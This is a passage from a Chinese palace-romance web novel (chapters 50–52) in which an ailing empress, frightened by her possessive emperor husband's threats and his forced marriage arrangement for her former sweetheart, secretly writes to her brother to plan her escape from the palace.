男人却道:“玉姐姐,只要你一直留在我身边,我自然不会对你如何。” 他说这话的时候,眼中带着明显的侵略意味。 薛弗玉垂下眼眸,遮住眼底的情绪,知道眼前的男人已经失去了理智,不能继续和他争执,过了一会,只听见她软声回答:“好,我答应你。” 而后她听见男人贴着她的耳畔笑了一声:“玉姐姐不用想着骗我,不过就算是你真的骗了我,也没关系。” 最后的几个字倏地变冷。 就算是她真的骗了他,他也有的是办法将人绑在身边。 这座皇宫,不就是最适合的牢笼么? 薛弗玉心中骤然一紧,强迫着自己冷静,她白着一张脸,似乎真的被他吓到了,只能用昭昭转移他的注意,她颤声道:“陛下,昭昭夜里还要起来喝药,臣妾累了,昭昭喝药的事情就交给你了。” 她实在是不想和谢敛身处一处,许是情绪波动太大,她眼下除了疲惫之外,竟然还有觉得有点头眩。 许是因为她不再和方才一般与他作对,再者提到了女儿,谢敛慢慢冷静下来,最终放开了她,冷声唤来宫人伺候她歇息。 亲自看着她歇下才肯走。 他离开之前深深看了一眼已经躺在榻上的女子,最终什么也没说,走出了偏殿。 第50章 昭昭的身子好了没几天之后,没想到薛弗玉却病倒了。 除了着凉之外,她生病还有另一个原因,就是被那晚的谢敛给吓到了,惊惧和愁绪缠身,让她很快就病倒。 凤鸾宫的寝殿里,女子正半躺在挂了纱帐的床榻上,她的脸色苍白,一副恹恹的神色。 “娘娘,药熬好了,快些喝了吧。” 素月端了药来,想要亲自喂她,谁知道却被她给轻轻推开了,只听见她蹙眉轻声说了句苦。 这还是她第一次露出这副模样来。 从前喝张太医开的调理身子的药都不见她皱眉一下,如今生病倒是变了,素月有些无奈:“娘娘不喝药怎么行,公主今天还说等娘娘好了,让娘娘带着她去放纸鸢呢!” 因着她身上不好,这一天都是在凤鸾宫里,并未前去棠梨宫看昭昭,今日奶嬷嬷带着昭昭来看她的时候,她也没什么精力陪小姑娘玩。 碧云和素月见状,于是哄着人回了棠梨宫。 素月提到昭昭,薛弗玉即便是心里对喝药抵触,她最终还是让素月把药端来喝了,喝完后只觉得一阵反胃。 “娘娘忍着些吧,若是把喝进去的药吐了,届时又要重新喝,平白折腾人。” 素月轻拍着她单薄的后背,一边劝慰她。 薛弗玉只得忍着那股恶心,缓了好一会儿才缓好,又重新躺了回去。 她闭上眼睛,想着那晚与谢敛争执的事情。 那是她第二次与他正面争执,她知道这样的事不会是最后一次。 那晚的谢敛让现在的她回想起来都觉得有些可怕,就好像她跟在他的身边十年,却从未真正看清过这个人,他看向她时带着的偏执与占有欲尽显,让她觉得窒息。 她不知道眼下她要怎么办才好,她不想坐以待毙,若是被他发现她这些日子与他事后还吃了避子药,他会怎么对待她? 可她的心里真的不甘心,谢敛明明还想着薛明宜,为何不愿意放她走? 她原以为能强迫自己接受现状的,可是那天她在宫外感受到了久违的自由,同时又撞见了他们二人在一处,那种好不容易生出的开心很快就被浇灭。 心里突然有两个声音在拉扯着,一道声音告诉她,她陪谢敛吃了四年的苦,如今拥有的这些都是她应得的,其他人休想觊觎。 可另一道声音却又在告诉她,这些真的是她想要的吗?若真的是她想要的,为何她的心里始终没有真正的开心? 脑中的两道声音吵得她头疼,她只得尽量让自己什么都不想,最终迷迷糊糊地又昏睡了过去。 谢敛来的时候,寝殿内安静地可以听到针落地的声音。 这些天他一直忙到很晚,西北绒狄与突厥蠢蠢欲动,边关捷报传来,以突厥为守的异族频频试探西北边境,他每天处理完政务回来已是深夜。 而她睡得沉,他又起得早,所以她并不知晓他每晚都有来过。 偶尔的几天好不容易与她温存,可她待他却冷淡了许多,连温柔都是浮于表面,让他连连生出挫败感。 今日得知她病了,他暂时丢下手上的政事匆匆赶回来,瞧见她苍白的脸,心脏顿时像是被人狠狠攥紧,他突然后悔那天晚上与她说了那样的话。 是他吓到了她。 他本可以好好地与她说话的。 只是一想到她或许真的生出了离开他的念头,他就控制不了心底深处那个拥有阴暗面的自己,恨不得把她锁在自己的身边,好让她哪里也去不了,日日只能对着他一个人。 他不敢想没有她在身边的日子,所以只能对她说出那些话,希望她能明白他的心。 他从宫人的手中接过帕子,耐心地替她擦拭额头上因为发汗而沁出的汗珠。 “抱歉,是我吓到你了,以后不会了。”男人对着她轻声道。 只要她好好呆在他的身边,他会好好待她,就像这六年来一样。 榻上的女子因为生病眉心轻蹙,他的指尖轻轻点在她的眉心,接着想要抚平她眉间的褶皱。 “阿娘,阿爹” 昏睡中的女子发出轻声呢喃,谢敛靠近她,终于听清楚了她唤的是她的爹娘。 他手上的动作一顿,突然想起十年前,他挑开喜帕,发现自己要娶的人不是薛明宜时的场景。 那时候的他只想着自己被薛家人和眼前的女子给骗了,被愤怒的情绪给笼罩,却没有注意到她那双哭过没多久的眼睛。 他以为自己才是那个最惨的人,没有考虑过接连失去双亲,又被薛家人强迫嫁给他的女子,那时她的心里是有多伤心绝望。 此时他的心就像是被泡在了苦水中,苦涩蔓延到口中,他怔愣地看着近在咫尺的妻子,心脏深处传来阵阵的钝痛。 若是那个时候他有好好去听她解释,好好待她,那在她的心里,他早就替代了宋璋的位置? 薛弗玉的眼角不知何时沁出眼泪,他的指尖轻触到她眼角的泪珠,却又像是被她的眼泪给烫到了,猛地缩了回去。 片刻,他又重新伸手去替她拭去眼角的眼泪。 “玉姐姐别哭,你还有我和昭昭,别哭了” 她哭得他心脏都跟着疼了起来 他细细回想,才发现她嫁给他的这十年,除了生昭昭的时候因为疼得不行而哭了,也是唯一一次让他见到了听到了她哭,其他时候,她仿佛像是不会遇到什么伤心事一般,几乎不见眼泪。 少年时期的他总以为她是个坚韧 的女子,就算是嫁给他这种不受宠的皇子,却也经常能苦中作乐。 对于他也总是极有耐心,从没嫌弃过他的出身,愿意好好对他。 明明她才是受委屈的那一方。 那时的他不愿意承认,这样温柔又坚强的女子,其实早已在他少年时期就不知不觉住进了他的心里。 这些年以来,都是他在自欺欺人。 只是在他想要在登基前与她表明心迹的时候,却碰到薛岐与他说了那样一番话,逼着他立誓要在登基后做的第一件事就是尊她为皇后。 那时候他以为这件事是她授意让薛岐逼他的,一瞬间就让他的心冷了下去,所以在他的心里,始终对她存着一丝防备。 如今想来,多半是薛岐自作主张的。 甚至现在他希望是她的意思,至少说明她是出于自己想要做这个皇后的,而不是因为嫁给了他,只能是他的皇后。 “玉姐姐,你其实是不想离开的,你只是误会我与成王妃之间不清不楚,那晚才会故意说那些话的,是不是?” 他俯身小心翼翼地抱住她,留恋地用脸蹭了蹭她的脸,仿佛她是世上最珍贵的珠宝。 怀中的人似乎感觉到了他的存在,她无意识地在怀中动了动,与他之间贴得更紧了,让抱着她的男人面上露出欣喜。 他亲了亲她的额头,温柔地在她的耳边低声道:“玉姐姐,就这样一直呆在我身边吧,不要离开,谁都别想将你从我的身边带走,就算是你自己也不能,否则” 说到最后,他的眼中露出阴狠的神色,抱着她的力度收紧,但是听见怀中之人发出了声音,又立刻收起了眼中的狠厉之色,小心翼翼地轻抚着她的后背。 “睡吧,玉姐姐,我在。”他温柔低语,搂着女子的动作显露出偏执的一面。 薛弗玉许久没有梦见阿娘和阿爹,在梦里,她仍旧还是个不谙世事的少女,家中父母俱在,阿弟也只有十二三岁,是个还没有她高的小少年。 每日里她不需要有什么烦恼,要么与阿娘在一处呆着,要么就带着阿弟偷偷出门,姐弟俩在外面闯祸了,阿弟每一次都挡在她的跟前,自己一个人就把所有的错给揽下了。 隔壁宋伯和宋伯母也经常来串门,宋伯母厨艺极好,每次做了好吃的东西,都会让宋璋送来给她吃。 阿娘还打趣过,她都还未过门呢,宋家就已经开始疼儿媳妇了。 给还是少女的她弄得脸红。 她那时候还未情窦初开,所以不识情爱的滋味,但也觉得她和宋璋时间久了,或许真的会和两家父母所说的一样,最终会成亲。 谁知道世事无常,父母会在她十七岁的时候相继离开。 而她与宋璋之间的缘分也断于此。 依稀记得他上京考试前,曾找过她,似乎有什么话想要对她说。 “阿弗,等我回来。” 他最终只说了这句,她不知道他这一走,从此他们之前就再也没有干系了。 如今想来,若是她没有扶棺回京,若是薛明宜愿意嫁给谢敛,薛家人没有用阿弟逼她。 她眼下也不会被困在这座皇宫里。 有时候她也会想,她对谢敛究竟是什么样感情,最初她只拿他当成和阿弟一样的亲人相处,后来他们之间有了肌肤之亲,她便试着把对方当成夫君来看待。 生下他们的女儿后,更是待他一心一意。 可她心里又很清楚,她没有办法爱上一个帝王,但她对他的感情却愈发复杂起来,最终只能回归所谓的亲情。 即便是知道他的心上人是薛明宜,眼睁睁看着他们二人在一起,也只能强压着心里的苦涩酸楚,告诫自己他是皇帝,皇帝本就无情,以后还会像那些从前皇帝一样,会拥有三宫六院,她只是他所有女人其中身份最高的一个而已。 所以她在他身边活得小心翼翼,为了女儿只能曲意逢迎,做他满意的温柔又识大体的皇后。 但是她发觉自己累了,不想再继续这样下去,尤其是那天宋璋突然问她想不想回西北,他可以想办法送她回去。 她动摇了。 但是她不想亏欠宋璋,也怕万一谢敛发现了宋璋参与其中,会被他不利。 她不想连累宋璋。 那个拥有赤子之心,一心为国为民的人。 “宋璋” 下意识的,她口中唤出了这个字。 抱着她的男人正贪恋着她的体温,骤然听见她无意识的唤了宋璋,脸上的神色顿时阴沉了下来,他微凉的手掌抚上她的侧脸,激得她在昏睡中皱起了眉头。 他覆在她的耳边,轻声问:“你方才,唤谁?” 怀中的女子却没有了反应,像是感知到了危险一般,安静地窝在了他的怀中。 “不回答?没关系,朕明日就给宋璋赐婚,从此绝了你的念想,玉姐姐,你说,哪一家的闺秀才能配得上他?” 他抱着女子,似情人间的低语。 “玉姐姐不知道没关,朕会好好替他挑选,明日就给他赐婚,好不好?” 他抱着人的动作温柔至极,说出的话却又带着丝丝的阴冷,好像不是给旁人赐婚,而是要决定别人的生死一般。《 》 50-60 第51章 薛弗玉醒来的时候,发现谢敛正坐在她的身边,此时的男人手中拿着一本书在看,淡黄的烛光照在他俊美的脸上,给他的轮廓镀上了一层温柔的颜色。 让他看起来少了平日里的冷淡。 她看清楚他手上握着的书的名字时,呼吸突然一滞,那是描写关于西北的书籍,这些年她想念西北的时候就会翻出来看。 尤其是最近,她看这套书的时候越发的频繁。 昨夜更是不知不觉坐在西窗之下看到了后半夜,才会不慎着凉生病。 如今这本书在他的手中,想起那晚在棠梨宫偏殿快要失去理智的男人,她突然害怕他会因为这些书察觉到她的意图。 “醒了?” 明明谢敛的视线落在书上,但是却能知道她睁开了眼,他放下手中的书,低头与她对上。 瞧见那双似含了薄雾的眸子时,他的喉结动了动。 薛弗玉垂眸嗯了一声,对他仍旧是淡淡的,她想要坐起身唤人来伺候自己,结果还未有动作之前,身旁的男人就已经明白了她想要做什么,伸手扶着她坐了起来。 “还是很难受么?”他低声问。 “好了些。”薛弗玉回答。 谢敛像是没有感受到她冷淡的态度,依旧如对着她温柔地嘘寒问暖,就像是一位体贴妻子,珍爱妻子的丈夫。 他越是温柔,薛弗玉的心里就越担心,从前的谢敛就算是关心她,也不会这么温柔地与她说话,就好像突然之间变了一个人一样。 她不知道谢敛葫芦里卖的什么药,生病让她浑身都没有力气,只能任由着他的动作。 直到他想要亲自替她换下衣裳的时候,她的手终于是按在了他欲解她腰测衣带的手上:“不必劳烦陛下,还是让她们进来伺候吧。” 谁知道男人只是顿了一下,接着似是笑了一声,而后把她的手拿开,继续手上的动作,语气却带着不容拒绝:“玉姐姐从前伺候了几回,如今轮到我伺候玉姐姐了,再者,丈夫伺候生病的妻子,本就是天经地义。” 他的语气轻松,仿佛为她做这种事不过是寻常。 其实他说得不对,她很少会伺候他穿衣,大多时候都是她起来的时候,他早已自己穿好了衣裳。 至于他后面说得更不对,根本不会有哪个男人会真心想要伺候自己的妻子。 他如今做这些,到底为的是什么,她也懒得猜。 看着男人干脆的动作,她抿了抿唇,到底没有再说什么。 直到身上的衣物全被褪下的时候,薛弗玉皱了下眉头,趁着男人起身去拿新的衣裳时,她拉起锦被盖住了自己的身子。 三月尾的天其实已经不冷,但是她还是把自己藏在了被子里面。 谢敛很快拿了衣裳回来,他看见她拥着被子坐在榻上发呆,她身上未着寸缕,那些他曾经贪恋的美好风光全部都藏在了锦被之下,只露出一双雪白的肩膀。 他的眸色深了一些,快步走了过去。 “臣妾自己来吧。”薛弗玉对上他,轻声道。 她说着朝着他伸出手臂,想要他把手上的衣裳递给自己。 然而手伸了半天,也不见男人有所动作。 半晌,她突然听见男人似乎轻叹了一声,接着床上陷下一处,高大的身躯挡住了她眼前的光线,将她整个人都笼罩在阴影之中。 “玉姐姐怎么就不听我的话?” 薛弗玉藏在被子里的另一只手紧紧攥着被子,她仰起脸看向他,却撞进他那双深不见底的黑眸之中,里头藏着她看不懂的情绪,像带着极度的压抑,让她心中顿时生出警惕。 “臣妾只是有些不习惯” 薛弗玉移开目光,躲避他看着她逐渐变得赤裸的目光。 这人素来对她的身子爱不释手,此时她还生着病,这样的目光意味着什么,她自然是清楚的。 她不想受罪。 然而她的手还未收回去,就被他烫人的手掌给攥住了,接着稍一用力,就把人拉到了身前,薛弗玉来不及有所动作,锦被在途中滑落,露出大片瓷白的肌肤。 让她本就发热的脸变得更加滚烫,慌乱中抬头去看对方,却见他眼中没有任何的情欲之色。 是她想岔了,他就算再禽兽也不会干出这种时候要她的事来。 她的心里这才松了口气。 “我还有很长的时间让你慢慢习惯。” 谢敛说话的同时拿起衣裳替她认真细致地穿上,最开始指尖碰到她温热的肌肤时忍不住蜷缩了一下,但是很快就恢复如常。 男人替她穿衣裳的时间仿佛被无限拉长,薛弗玉整个人被属于他身上侵袭而来的气息包裹住,那些被他无意间触碰到的地方泛起一层细细的鸡皮疙瘩。 她将头低下,恨自己不争气的身子。 “好了。” 半晌,耳边终于传来男人略显低沉的声音。 接着她的眼前又亮了起来,她抬眸,正好看见谢敛的身影往净室走去,背部看起来似乎绷紧了。 她没有在意,伸手去拿他放在床边圆案上的书籍。 才发现他已经看了有一半了。 所以他天黑之前就来了吗? 她想起自己昏睡中梦见从前的人和事,不敢保证自己有没有在睡梦中无意识地唤他们的名字。 看他刚才的反应,大约是没有吧 正当她思索的时候,净室传来阵阵水声。 这种时候他就要沐浴了? 她听着里头传来的水声,心绪也跟着乱了,这时候素月和碧云趁着谢敛在净室,把今晚的晚膳和药都送了进来。 “陛下什么时候来的?”她没有喝素月送上前来的粥,而是先问了这个问题。 素月回答道:“午后不久来的,那时候娘娘已经熟睡,所以陛下不让奴婢们叫醒娘娘。” 薛弗玉闻言眉心轻蹙,这个时候他不是在处理政务吗,今日怎么有空? “娘娘生病的事不让奴婢们告诉陛下,许是陛下和娘娘心有灵犀,娘娘这才生病,陛下很快就知晓了,所以才会突然前来看娘娘,陛下来了之后还一直守在娘娘的身边没有离开。” 素月身为她的宫女,自然是希望她和谢敛二人之间好好的,从前她总觉得陛下与娘娘之间的关系有些生分,近来看见陛下越发的爱重娘娘,她的心里也替娘娘高兴。 可她说完这些,却不见床上的女子露出半分开心的样子,反而眉头皱得更紧了。 她担心自己又和上次一样,在昏睡中无意识地唤了旁人的名字被他听见,谢敛没有在棠梨宫露出那一面的时候还好,可见了他偏执又疯狂的一面,她总是会有些后怕。 他不会对自己做什么,可对别人就不一定了。 就像他登基那年,那些忤逆他的,不忠于他的人,连带着他们的家人通通都没有好下场。 “娘娘,你怎么了?” 见她神色渐渐露出凝重,素月也跟着担心,以为是自己说错了什么。 “没什么,把粥给我吧。”薛弗玉收起脸上凝重吩咐道。 为了不让身边的人察觉到她的不对劲,只能假装无事。 只是她实在是没胃口,才喝了几口粥就吃下去了,不管素月和碧云怎么劝都没用。 等她喝了药过了不久后,谢敛终于从净室出来。 他的身上带着寒气,漆黑的眸子里一片清明。 薛弗玉愣了一瞬:他洗的是冷水吗? 虽说天气已经不再寒冷,可洗冷水对身体到底是有些伤害,他似乎总是这般不爱惜自己的身体。 但是很快她冷静下来,自己关心他做什么,他就算是生病了也是自己作的,与她又有什么关系? 她在心里暗暗告诫自己。 谢敛走到床边,瞧见已经空掉的药碗,对着向他行礼的素月和碧云二人摆了摆手,示意她们起来。 “才喝这么点,不饿么?”他见案上还剩下大半碗的粥,转头问薛弗玉。 薛弗玉不看他的眼睛,恹恹道:“臣妾身子难受,吃不下这些东西。” 吃多了东西再喝药的时候反而容易反胃。 “陛下,晚膳已经在外面摆好了,还请移步。”素月小心提醒道。 说完却见原本站着不动的男人突然动了,只见他走到案前,拿起那半碗的粥自己全部喝了下去。 “陛下,这是娘娘喝剩下的!” 素月惊呼出声,已经来不及阻止,她瞪大眼睛看着男人干脆地喝完了薛弗玉喝过的粥,脸上除了惊诧之外还有不可思议。 薛弗玉也没想到他会喝自己喝剩下的粥。 “下去。” 谢敛放在手中的空碗,对着素月二人道。 俩人偷偷对视了一眼,皆从对方的眼中看到了疑惑,但是很快又在谢敛冷淡的目光下离开。 屋内只剩下他们,薛弗玉靠坐在床上,不知道在想什么。 直到男人上了榻她才回神,对着他静静道:“陛下,臣妾身子不适,怕是不能服侍您。” 听了她的话,身边才掀开被角的男人动作一顿,他瞥了她一眼,语气带着淡淡的不虞:“在玉姐姐心里,我就是这种人么?” 所以她觉得他今日来看她,也只是为了与她做那档子事么? 若不是他放在凤鸾宫的人前来金銮殿告诉他,皇后今日病了,她是不是不打算让人前来告诉他? 昭昭生病的时候她知道要遣人告诉他,为何她生病了,反而不让宫人前来告知他,难不成她是觉得他没有知道的必要,还是觉得他不在乎她? 薛弗玉沉默,他来找她可不都是为了那档子事吗。 “臣妾不敢。”她作温顺状。 “玉姐姐,不要骗我。”谢敛倾身靠近她,本想发作的时候闻到她身上清苦的药香。 低眸见她略显苍白的脸色,他心中的那股郁气顿时被挫败给取代,渐渐生出不甘来。 明明自己已经对她够小心了,生怕会惹了她不开心,可她不仅不领情,反而对他带着偏见。 他不知道要怎么做她才会变回从前那个她。 眼下这样待他冷冰冰的,有什么意思? “陛下若无什么事就睡吧。” 薛弗玉见他突然没了话要说,她便自顾自地躺了下去。 只给他留下一道背影。 烛火照得他脸上的神色忽明忽暗,最后他到底没说什么,也跟着躺了进去,他看着眼前刻意远离自己的背影,心底隐秘的占有欲又升起,接着抬手把人给搂进了怀中。 怀中的女子骤然被他搂在胸前,她的身子僵了一下,很快又强迫自己放松了下去。 她的后背贴着谢敛的胸膛,感受到他沉稳的心跳。 她突然想起,从前有许多的日日夜夜,他也是这样 与自己温存的。 那时候她以为他们会这样一直下去,如今想来,都是她自己自欺欺人罢了。 一想到横亘在他们中间的薛明宜,她心中又生出了些许的厌恶来,动了动身体想要从他的怀中脱离。 “玉姐姐,乖乖的不要动,不然我不保证自己会做出什么来。” 暗含警告的声音贴着耳廓传来,薛弗玉果真不再动了。 他果然还是禽兽,她决定收回先前的想法。 谢敛察觉到怀中女子的乖觉,这才满意地闭上了眼睛 翌日薛弗玉再醒来的时候,身边早已没了谢敛的身影,她习惯了这样场景,最开始的时候心里会有莫名的失落感,如今倒是没什么感觉了。 她揉了揉自己的太阳穴,感觉身上好了些。 等用了午膳吃了药后,有宫人在门口传话,说是五公主来看望她了。 薛弗玉脸上露出意外的神色,忙让人把五公主请了进来。 谢宁贞身为谢敛同父异母的姐姐,能从洛阳回来得益于这位皇弟,所以得知弟媳生病,自然是要进宫看望的。 她被宫人领着进了薛弗玉的寝殿,甫一进去的时候,就闻到了浓浓的药味,她下意识的皱眉。 珠帘后面不远处就是内室,穿过珠帘后,她的目光落在挂了纱帐的床榻上,只见上面半靠着即便带着病容,却难掩姿色的女子。 生病不仅没让她的姿色减去半分,反而多了几分病西子的味道。 任谁见了都会心生怜惜。 且她发现这么多年过去,薛弗玉的容颜不仅没减一分,甚至多了些成熟的韵味,这种对男人来说更为勾人。 怪不得皇弟登基六年来一直都坚持没有纳妃,有这么个绝色美人在身边,谁还会看得上旁人。 可想到薛明宜,她心里又觉得有些可惜。 只能说造化弄人,当初若不是薛明宜自己不愿跟着皇弟吃苦,也不至于让现在的皇后捡了便宜。 “见过皇后娘娘。” 她收起心里的复杂之色,对着她施施然行礼。 薛弗玉听见她的声音,抬眸对着她温声道:“皇姐不必如此多礼,快请坐,本宫身上不舒坦,不能给皇姐见礼,还请皇姐见谅。” 说完又吩咐宫人给她上茶。 谢宁贞听着她温柔的嗓音,心里忍不住生出几分好感,她离京之前甚少与薛弗玉接触,更多的是从薛明宜的口中听见她的一些事。 眼下见了,倒觉得薛明宜说的那些事情多有些夸张之意。 她唇边挂上笑意:“娘娘客气,昨日我在金銮殿与皇帝说话时,有宫人前去传话说娘娘病了,本该昨日就来看望娘娘的,谁知道陛下听说娘娘病了,二话不说就离开了金銮殿,想来是前来看娘娘,我便只好今日才来。” 昨日她本是想要劝皇帝为了皇室开枝散叶的,谁知道话才说了一半,就被宫人打断了。 且皇弟似乎不愿意听她提起纳妃的事,可皇后如今膝下没有皇子,生完公主后三年间肚子却再也没有动静,万一皇后不能生了,皇帝该如何? 如今看着面容憔悴的皇后,她虽然生出恻隐之心,可总归是要劝劝她的,且她也不想皇后落得和自己一样的下场,男人能够宠爱自己一时,却不会宠爱她们一世。 涉及到子嗣的问题,他们总是出奇的一致。 不管如何,膝下总归要有个皇子傍身。 于是与聊了一盏茶的功夫后,她突然道:“说实话我有时候真的很羡慕娘娘,只是娘娘好歹也算是我的弟妹,我今日想以过来人的身份提醒娘娘,虽然娘娘为陛下诞下公主,若是迟迟没有生下皇子,皇弟那边许会着急,与其等他自己日后纳妃,不如娘娘主动与他提及,这样不仅能彰显娘娘的大度,还能让陛下对娘娘生出几分疼惜。” 薛弗玉不知道她为何与自己说起这个,她想起谢宁贞与薛明宜关系颇好,但觉得谢宁贞不会蠢到到自己跟前提醒她让谢敛把薛明宜收了。 于是浅笑道:“皇姐说得是,本宫会与陛下说的。” 这话只不过是用来应付的,谢敛最终是否会纳妃,也与她无关。 “娘娘大度,其实那天我也与皇弟提起过,我看皇弟似乎也有纳妃的打算。” 谢宁贞有意试探薛弗玉,故意这么说。 却见眼前的女子听了没有任何的不高兴,反而道:“陛下多年来无子,本宫心中到底愧疚,若是陛下想通了愿意纳妃,便再好不过。” 她这样好说话,倒是让谢宁贞有些意外,但是很快她就起薛明宜之前与她说过的事。 她突然想起薛明宜说过,皇后与宋璋从前青梅竹马,宋璋还曾去薛家提过亲,不过不了了之。 皇后这样干脆,难不成是因为不在意皇弟,心里的人是宋璋? “听说娘娘与宋大人自小相识?” 这样想着,她试探道。 薛弗玉也没有要瞒着她的意思,她点头:“本宫与宋大人确实是老相识。” 看来薛明宜没有骗她,只是今日她听到一个消息,此时纠结要不要告诉眼前的女子。 薛弗玉看出了她似有话要说,便道:“皇姐是有什么要与本宫说的吗?” 谢宁贞想了想,觉得她日后也会知晓,索性道:“我今日进宫前,听说陛下给宋大人赐婚了,是崔侍郎家的姑娘,崔婉。” 语罢,她抬眸看去,陡然看见一张怔愣的脸。 第52章 “娘娘?” 半晌见女子没有反应,谢宁贞有些担心的唤了她一声,此时心里也渐渐明白了,或许皇后对宋璋之间,除了那一层青梅竹马的情谊之外,或许还有别的。 更何况十年前宋璋都上门提亲了,他们之间的感情便不再纯粹的。 她在心里叹了口气,更觉得薛明宜当年造的孽害了几个人。 想起那日她找自己哭诉的事情,当时她还觉得薛明宜年纪轻轻就丧夫,颇为同情她,如今想来,这一切都是她自己造成的,谁也怨不了。 倒是眼前的皇后,让她生出一丝同情来,好好的一对有情人被拆散,如今还要眼睁睁看着昔日情郎娶妻。 薛弗玉没想到谢敛的动作会这般快,他竟是真的容不下宋璋。 除了宋璋之外,那名与她有过两面之缘,喜欢跳舞的姑娘,也被连累了。 她深吸了一口气,到底没有让心底的怒火表现出来,她勉强笑道:“陛下赐婚是无上的荣耀,宋大人这些年来一直没有娶亲,陛下倒是替他解决了一件终生大事。” 谢宁贞看着她脸上的笑,一时猜不准她是真的替宋璋高兴,还是只是故作欢颜。 “听说宋大人这些年以来一直都不愿娶亲,期间也有不少媒人主动上门说亲,但那些人都入不了他的眼,如今皇弟赐婚,看来宋大人这一次是跑不掉了。” 她似开玩笑道。 “皇姐说得是。” 薛弗玉垂下眼帘,挡住了里头翻涌的情绪。 二人又拣了别的事聊了几句,不多时,谢宁贞就找了借口离开。 “碧云,着人去打听一下,五公主说的事情是否属实。” 薛弗玉靠在床头,只觉得浑身的力气像是被抽光了,她想起那日在亭中与青年遥遥一见,最终闭上了眼睛。 谢敛真当是容不下宋璋一点。 也是她害了宋璋,那晚她不该在谢敛提起宋璋的时候不作声的。 碧云回来之后,瞧见她还是这幅样子,就知道她在愧疚,她本在病中,若是一直这样郁郁寡欢,身上的病怕是难以好全,她只好道:“娘娘不必太过自责,宋大人他确实也到了不得不成亲的年纪,他家中还有母亲在,宋老夫人也盼望着宋大人能早日成亲,其实这样的结果,算得上皆大欢喜。” 皆大欢喜吗? 薛弗玉听着碧云的话,心中仍旧郁气难消,她知道宋璋对她的感情,也正是因为他对她的感情,她心里才会愧疚。 “碧云,我好像害 了两个人。” 她说的两个人,自然是指的被赐婚的二人。 碧云安慰她道:“娘娘不必把什么事都往自己身上揽,这些事情不是娘娘能控制的,陛下早已有意要给宋大人赐婚,如今是体谅娘娘病了,所以替娘娘把人给选了。” 这样的话薛弗玉自是不信的,谢敛一直觉得她和宋璋旧情难断,所以才会做出这样的事来。 如今想来,其实她与谢敛也没有什么区别,她不也是觉得谢敛和薛明宜不清不白吗? 好像她和谢敛之间,从来都没有真正互相信任过对方。 不过也是,他们从最开始就是被迫绑在一起的,他不情不愿娶了她,而她也迫不得已嫁给了他。 从一开始就是错误的。 如今,她想结束这个错误。 “碧云,去取纸笔来。”她轻声道。 说完之后她下了榻,坐到一方桌案前。 碧云不知道她想做什么的,但是照着她的吩咐取来了纸笔。 她在案上摊开,又替她研好了磨。 薛弗玉拿笔沾了墨,开始在纸上写字。 写完之后,她亲自折好交给碧云:“找人送出去。” 她细细说明了他们之前买下的那个小院的位置,还吩咐碧云一定不要让人发现了。 碧云不知道这里头写了什么,但能感觉到娘娘是很大的决心,脸上的神色也难得严肃了许多。 她的心里隐隐生出几分不祥的预感,但是又不得不谨慎地找了可靠的人把信送出宫去。 看见碧云拿着那封信离开,薛弗玉只觉得心情没那么沉重了。 她现在只希望阿弟看到这封信时不要惊讶,愿意帮她。 不过不用想也知道阿弟一定会帮她的,毕竟阿弟一直都不愿意承认谢敛这个姐夫,甚至想过要她离开皇宫。 眼下只能耐心地等阿弟的消息。 谢敛不愿意放她走,她只能自己想办法。 唯一遗憾的就是不能带着昭昭离开。 想到不久后或许就要和女儿分开,她的心就像是被针扎了一样难受。 昨日小姑娘窝在她的怀里,她趁机问了小姑娘想不想离开皇宫,离开父皇,小姑娘想也没想就回答不愿意。 当晚她想了许多,最终决定忍痛放下女儿 第二天的傍晚,谢敛再次踏进了凤鸾宫。 他进来的时候,薛弗玉正坐在西窗的暖炕上,身上披了件大氅,手中正拿着针线在给昭昭缝制贴身衣物。 薛弗玉想要再给昭昭多做些,至少在她不在昭昭身边的时日,昭昭能够穿着自己给她做的衣裳。 她缝了几针,中途咳了一声,又接着缝制,神情异常专注。 全然没有注意到已经走进来的谢敛。 直到男人在她的对面坐下,她才发觉。 只是想起他给宋璋赐婚的事情,她心里对他的那股气瞬间就上来了,她假装没有看见他,继续着手上的动作。 谢敛第一次这样被她冷落,想着她如今正病着,便没有怪罪她的意思。 对面的女子在认真的缝着衣裳,他便也安静地坐着看她。 近来她待他冷淡了许多,往日的温柔皆不见,如今两人心平气和地坐在一处,倒像是回到了以前。 那时候他们还在旧宫,因着宫里给他们的衣裳都是粗制滥造的,薛弗玉不想穿那些衣裳,所以自己让碧云想办法从外面买来了布料自己做。 很多时候他们呆在一起的时候,就如同眼下这样面对面坐着。 只是那时女子会偶尔让他帮忙理线,或者替她裁剪布料,根本不会让他闲着。 如今这些都有人替她做好了,根本不需要他的帮忙。 其实有时候,他也会怀念当初在旧宫的日子,在旧宫大多时候都是他们二人在一起,可惜那样静谧的时光,再也回不去了 薛弗玉无视对面男人灼热的目光,她手上的动作不停,心绪却飘向了远方。 直到指尖传来刺痛的感觉,她才回神。 “怎么这般不小心?” 她还未有所动作,对面的男人已经不知何时到了她的身边,拿起她被针尖扎到的手指,用帕子轻轻擦去上面的血珠。 他的语气有担心,还有一丝责怪。 薛弗玉抬眸看着他不似作假的关心,心中却已经泛不起任何的涟漪。 她收回自己的手:“不过是微不足道的伤口,陛下何必紧张。” 说话的时候她拉开二人之间的距离,仿佛和他近距离的接触会让她生出不适来。 谢敛察觉到了她的疏离,脸上的神色变了变,心也慢慢沉了下去,他站起身盯着女子脸上淡淡的神色,觉得她还在因为薛明宜的事情与他生气,于是耐着性子好声好气道:“皇后要与朕闹别扭到什么时候?朕再与说一遍,那晚朕并没有去见成王妃,那日带你出去也不是为了见她,朕说了我不喜欢她,甚至——” 厌恶她。 “臣妾知道了。” 他的话还没说完就被眼前的女子打断,如今她已经不在乎他对薛明宜是什么态度了,只是她仍旧想问他今日赐婚的事:“今日陛下为何要急忙给宋大人赐婚?” 谢敛没想到她急着打断他的话,为的只是质问他赐婚一事,昨日他确实冲动地想随便给宋璋指一门婚事,但冷静下来之后,他便知道这样做的后果只会让她更加的讨厌他。 所以今日的赐婚,是他权衡利弊的结果。 一个对谁都有利的结果。 他看着那双从前温柔,此时不仅没了柔情的眼眸,里头带着点点冷意,他的心顿时像是什么攥紧,呼吸一滞,只觉得说出口的声音带着干涩:“你觉得我给他赐婚,仅仅只是因为容不下他吗?” 不用她的回答,他都从她的神情中读到了,她就是这个意思。 “难不成陛下是为了体恤臣子吗?”薛弗玉唇边勾着一抹浅笑,正视着他。 这一声反问带着的嘲讽就就像是一把尖刀插在了谢敛的心上,他的脸色一白,往后退了一步,看着她的眼神里出现一抹痛色,但是很快又变成自嘲。 “玉姐姐从未信任过我,所以我如今不管做什么,在玉姐姐的眼里都是错的。” 